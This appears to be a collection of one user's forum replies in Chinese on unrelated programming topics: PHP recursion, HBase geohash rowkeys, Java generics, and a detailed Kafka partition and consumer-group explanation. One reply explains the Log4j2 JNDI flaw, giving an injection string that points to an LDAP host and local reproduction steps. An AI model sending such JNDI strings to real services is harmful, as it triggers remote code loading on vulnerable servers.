@wanacry #1 hahah

function removeIfMatch(&$arr, $id, $parentId)
{
foreach ($arr as $k => $v) {
if ($v['id'] === $id && $v['parent_id'] === $parentId) {
unset($arr[$k]);
}
if ($v['parent_id'] === $id) {
removeIfMatch($arr, $v['id'], $id);
}
}
}

removeIfMatch($data, 1, '');
var_dump($data);

左上角 Berkeley Graphics 是什么字体呢？我觉得这个字体更好看些

@codingBug #64 url 就是给用户看的，包括方便用户直接通过链接访问、通过搜索引擎检索等（很多时候为此还要做 url slug ），看不懂或对这个无所谓只是因为你母语不是英语

技术帖就聊技术，别说那些有的没的。

说说我之前做的类似一个项目的做法吧，查找指定时间指定区域内的经过的车辆。

原始数据是轨迹点（坐标、时间），因为数据量比较大，使用 hbase 存储，rowkey 设计为 reverse(yyyyMMddHH+geohash[8])。
查询时，计算出覆盖指定区域的 geohash[8] 集合，将查询时间段拆分为多条 yyyyMMddHH ，然后组合成查询 rowkey ，通过 hbase 前缀扫描，初步筛选出数据，然后再做精确匹配。

健康码这个也类似，拿到红码的轨迹点，然后挨个点定时定位查找轨迹区域内的其他轨迹点就行了。

自动机

@monkeyWie #108 ldap 服务是攻击者的。

这个攻击的核心是攻击者可以通过接口请求的方式，在 header 或者请求参数里，带上类似这样的字符串「"${jndi:ldap://v2ex.com}"」，如果接口服务记录日志的时候内容里带上了这串地址（比如记录接口请求日志），log4j 就会去请求它

复现步骤

1. 搭建并启动一个 ldap 服务器（比如，ldap://127.0.0.1:1389 ）；
2. 确保测试应用使用的是 log4j2 日志框架（ spring 框架因为默认是用的 logback ，需要在 [spring-boot-starter-web] exclude [spring-boot-starter-logging]，再添加 [spring-boot-starter-log4j2] 依赖）；
3. 在测试应用中打日志，比如，「 log.info("${jndi:ldap://127.0.0.1:1389}");」 ，可以看到打印的日志内容类似于「 com.sun.jndi.ldap.LdapCtx@65d6b83b 」，ldap 服务器上也能看到请求记录；
4. 如上，已经复现了远程调用，更进一步，如果想执行恶意代码，ldap 接口需要响应想要执行的 java class

@huajieyu #376 感谢❤️

我的邀请码：DZX8DD

我之前尝试过

/**
* 获取集合的元素类型
*
* @param type 集合类型
* @param genericType 集合的泛型类型信息
*/
public static Type resolveCollectionElementType(Class<?> type, Type genericType) {
if (genericType instanceof ParameterizedType) {
ParameterizedType pt = (ParameterizedType)genericType;
return pt.getActualTypeArguments()[0];
} else {
return type;
}
}

@humpy #1 sorry，我看错了

方法签名不同啊

@cernard #2 不是这样的，可能我没说清楚

你了解并发编程里的 producer-consumer 模式吗？其实是一样的，consumer 是同一套消费逻辑的多个实例。线程池里的 consumer 线程们从同一个 queue 通过并发锁抢任务。而 kafka 是每个 consumer 事先就分派好了各自的 queue，这个 queue 就是 partition 。

partition 算是 kafka 的实现细节，你需要知道它，但业务逻辑不能依赖它来做设计。它的主要作用是提供消费处理扩容能力（即消费跟不上了可以加机器）以及顺带的避免并发消费问题。

比如一个 topic 有 8 个 partition，最开始只有 2 个 consumer，每个 consumer 负责 4 个 partition，然后处理不过来，消息积压了，这时候就可以再加两台机器，总共 4 个 consumer，rebalance 后每个 consumer 负责 2 个 partition...不够再加，最多可以加到 8 个 consumer （即一个 consumer 对应一个 partition ），再加就没用了。

你的埋点数据的例子，实际做的话有两种方式，一是用一个 topic，消息里用一个类型字段区分 web 、android 或 ios，在消费逻辑里写 if else 做筛选和处理；另一种是每种埋点数据单独一个 topic，业务根据自己需要，消费对应的 topic 。

再说下消息的 key，因为它影响消息被分发的 partition，所以 key 最好是能让消息均匀分布的，不然就会有的 partition 消息多、有的消息少，导致有的 consumer 消息太多，消费不过来，消息堆积，并且这种消息积压增加 consumer 都没用。有的 consumer 消息太少，一直空闲，浪费资源。

说起来有点绕，其实挺简单的，最好实际用一下，写写代码，理解起来就很轻松了。书可以看 OReilly.Kafka.The.Definitive.Guide.2017.9.pdf ，JD 有中文版。

1. topic 在业务中如何定义

可以简单类比为 RDS 里的数据表

2. partition 在业务中如何定义，对于生产者和消费者而言，partition 意味着什么

简单来说，每个消息都有 topic 、key 、value -> kafka 根据消息 key 将消息派发到 topic 下不同的 partition -> 同一个 group 的 consumer 各自接收不同 partition 的消息 -> 相同 key 的消息被且只被同一个 consumer 消费。

1) producer 发送消息的时候，可以指定消息的 key，相同 key 的消息会被发往同一个的 partition ；

- 如果 key 为 null，默认的 partitioner 会按 round-robin 的方式将消息负载均衡地随机指派一个可用的 partition ；
- 如果 key 不为 null，默认的 partitioner 会将 key hash （使用自带的 hash 算法），根据 hash 后的值指派对应的 partition 。

2) 同一个 group 的 consumer，将会接收到一个 topic 下面不同的 partition 的消息。partition 和 consumer 的关系是，一个 consumer 可以消费多个 partition （具体能消费几个 partition 看 consumer 数量），一个 partition 只能被一个 consumer 消费，如果 consumer 多于 partition，多余的 consumer 将被闲置。这样的设计带来的好处是：

- 同一个消息只被一个消费者消费，避免同一个消息的问题被多个消费者消费导致的各种问题（类似并发问题）；
- 只要消费者没有 rebalance，同一个 key 的消息就始终只被同一个消费者消费，那么就可以做一些，比如用本地缓存、或者保存处理上下文；

3. 消费者组在业务中的应用场景是什么样的？

怎么说呢，topic 跟 group 同一级别，partition 跟 consumer 同一级别。一个 group 可以消费多个 topic，对每个 topic 都有独立的 offset 记录，这样消费同一个 topic 的 group 之间就不会互相影响。
不同业务需要消费同一个 topic，每个业务就需要单独的 group 。比如 A 部门要消费事件 topic，它就需要一个单独的 group A，B 部门也需要消费事件 topic，它就也需要一个 group B 。

4. kafka 在不同业务中有哪些最佳实践和骚操作？

consumer 配置很重要、rebalance 很恶心、用 spring-kafka 😊

crontab -e

30-59 9 * * * curl api